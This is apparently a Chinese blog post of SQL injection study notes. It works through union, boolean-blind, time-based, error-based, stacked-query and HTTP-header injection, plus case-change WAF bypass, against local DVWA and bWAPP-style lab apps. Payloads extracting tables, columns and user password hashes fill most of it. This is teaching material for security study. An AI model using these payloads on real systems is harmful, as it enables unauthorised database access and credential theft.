Loading

SQL注入

MySQL简介

 

 

SQL注入的危害

 

手工检测是否存在注入漏洞

  • and 1=1 及and 1=2 | and '1'= '1 及 and '1' = '2

  • -0

  • /

  • 单引号 ' 无论是str类型还是int类型都会因为单引号个数不匹配而报错,页面返回错误,则存在SQL注入

GET注入

  • 源码

  • 使用order by 探测当前查询列数

根据源码中SQL分析,查询movies表所有列,movies表一共有6列

order by 10 猜解下可能是10列

order by 7

使用union探测

 

列出表、用户、数据库

union select 1,user(),database(),table_name,version(),6,7 from information_schema.tables where table_schema=database() --

 爆出表字段名

union select 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='users' --

 

获取系统账户密码

union select 1,id,login,password,email,6,7 from users --

 

 

尝试逆向密码

https://www.cmd5.com/

POST注入

使用burp suite抓包

探测是否存在注入

 

五种注入类型

  • 布尔型注入

  • 联合查询注入

  • 基于时间延迟注入

  • 报错型注入

  • 可多语句查询注入

 

布尔型注入

  • and 1=1

判断表

and exists (select * from admin)

判断表列明

and exists (select admin from admin)

判断用户名长度

and (select len(admin) from admin)=5  如果返回正常说明管理员账户的长度为5

判断密码长度

and (select len(password) from admin)=32  猜解管理密码长度是否为32

通过判断ascii码来判断(ASCII码表逐字猜解)

如:用户名是:admin
and (select top 1 asc(mid(database(),1,1)) from admin)>100
and (select top 1 asc(mid(admin,1,1)) from admin)>100 返回正常说明大于,不正常说明不大于
and (select top 1 asc(mid(admin,1,1)) from admin)>50  返回正常说明大于

and (select top 1 asc(mid(admin,1,1)) from admin)=97  返回正常说明等于97 97对应的字母为a
and (select top 1 asc(mid(admin,2,1)) from admin)=100 返回正常说明等于100 97对应的字母为d
and (select top 1 asc(mid(admin,3,1)) from admin)=109 返回正常说明等于109 97对应的字母为m
and (select top 1 asc(mid(admin,4,1)) from admin)=105 返回正常说明等于105 97对应的字母为i
and (select top 1 asc(mid(admin,5,1)) from admin)=110 返回正常说明等于110 97对应的字母为n

如:密码是21232f297a57a5a743894a0e4a801fc3
and (select top 1 asc(mid(password,1,1)) from admin)=50
and (select top 1 asc(mid(password,2,1)) from admin)=49

 

时间延迟注入

  • 时间盲注是什么?

通过注入特定的语句,根据对页面请求的物理反馈,来判断是否注入成功,如:SQL语句中使用sleep()函数看加载网页的时间来判断注入点。

适用场景:通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知。

select * from users where id = 1 and sleep(5)

当id=1 存在时,休眠5秒 当id=1 不存在时,直接返回

页面不会返回错误信息,不出输出union注入所查询出来的泄露的信息。类似搜索这类请求,Boolean注入也无能为力,因为搜索返回空也属于正常的,这时就得采用时间注入了,及判断请求响应的时间,但该类型注入获取的信息速度比较慢,请求次数比较多,纯手工非常复杂。

  • 时间盲注常用函数

substr(a,b,c):从b位置开始,截取字符串a的c长度 count(): 计算总数 ascii():返回字符的ASCII码 length(): 返回字符串的长度 left(a,b): 从左往右截取字符串a的前b个字符 sleep(n): 将程序挂起n秒

http://192.168.26.129/sqli_15.php?title=abc' or sleep(3) -- &action=search

bool注入 猜解数据库名长度

http://192.168.26.129/sqli_15.php?title=World War z' and length(database()) > 1 and  sleep(3) -- &action=search
http://192.168.26.129/sqli_15.php?title=World War z' and length(database()) = 5 and  sleep(3) -- &action=search

爆出数据库名

and substr(database(),1,1)='b' and  sleep(3)
and substr(database(),2,1)='w' and  sleep(3)
and substr(database(),3,1)='a' and  sleep(3)
and substr(database(),4,1)='p' and  sleep(3)
and substr(database(),5,1)='p' and  sleep(3)

爆出数据库名(编码)

and ascii(substr(database(),1,1)=98) and  sleep(3)
and ascii(substr(database(),2,1)=98) and  sleep(3)
and ascii(substr(database(),3,1)=98) and  sleep(3)
and ascii(substr(database(),4,1)=98) and  sleep(3)
and ascii(substr(database(),5,1)=98) and  sleep(3)

报错型注入

如果页面能输出SQL报错信息,则可以从报错信息中获得想要的信息。 典型的就是利用group by的duplicate entry错误

MySQL的报错注入主要是利用MySQL的一些逻辑漏洞,如BigInt大数溢出等,由此可以将MySQL报错注入主要分为以下几类:

  • BigInt数据类型溢出;

  • Xpath语法错误;

  • count() + rand() + group_by()导致重复;

  • 空间数据类型函数错误

导致MySQl报错并显示出数据的函数:

  • foor函数;

  • extractvalue函数;

  • updatexml函数;

  • exp()函数;

docker pull registry.cn-shanghai.aliyuncs.com/yhskc/dvwa
docker run -d -p 0.0.0.0:81:80 registry.cn-shanghai.aliyuncs.com/yhskc/dvwa

admin/password

http://192.168.26.129:81/vulnerabilities/sqli/?id=1' and extractvalue(1,concat(0x7e, (select @@version))) -- '&Submit=Submit#
http://192.168.26.129:81/vulnerabilities/sqli/?id=1' and extractvalue(1, concat(0x7e,(select user()),0x7e,(select database()))) -- '&Submit=Submit#

 

多语句查询注入

?id=1;update t set name = 'a' where id=1

能够执行多条查询语句,非常危险。

HTTP头注入

 

在burp suite中重放请求,测试是否存在注入 根据页面展示数据,猜测后端SQL语句可能是 insert into ... values("user-agent", "ip addr")

user-agent-test', (select database())); #

源码分析

 

WAF绕过

混淆注入

  • 混淆和绕过

普通的注入方式过于明显,很容易被检测。因此,需要改变攻击手法,绕过检测和过滤,即混淆和绕过。

使用union做测试,根据回显SQL分析, union关键字被过滤了

union关键字大小写转换,把union改为大写后,成功执行union语句

 

UNION select 1,database(),3,4,5,6,7 &action=go

  • 大小绕过原理

MySQl执行SQL语句,对SQL指令是不区分大小写,对表名、库名敏感大小写,对表的列明大小写不敏感

||和&&绕过

 

posted @ 2018-04-02 16:44  KubeSec  阅读(630)  评论(0)    收藏  举报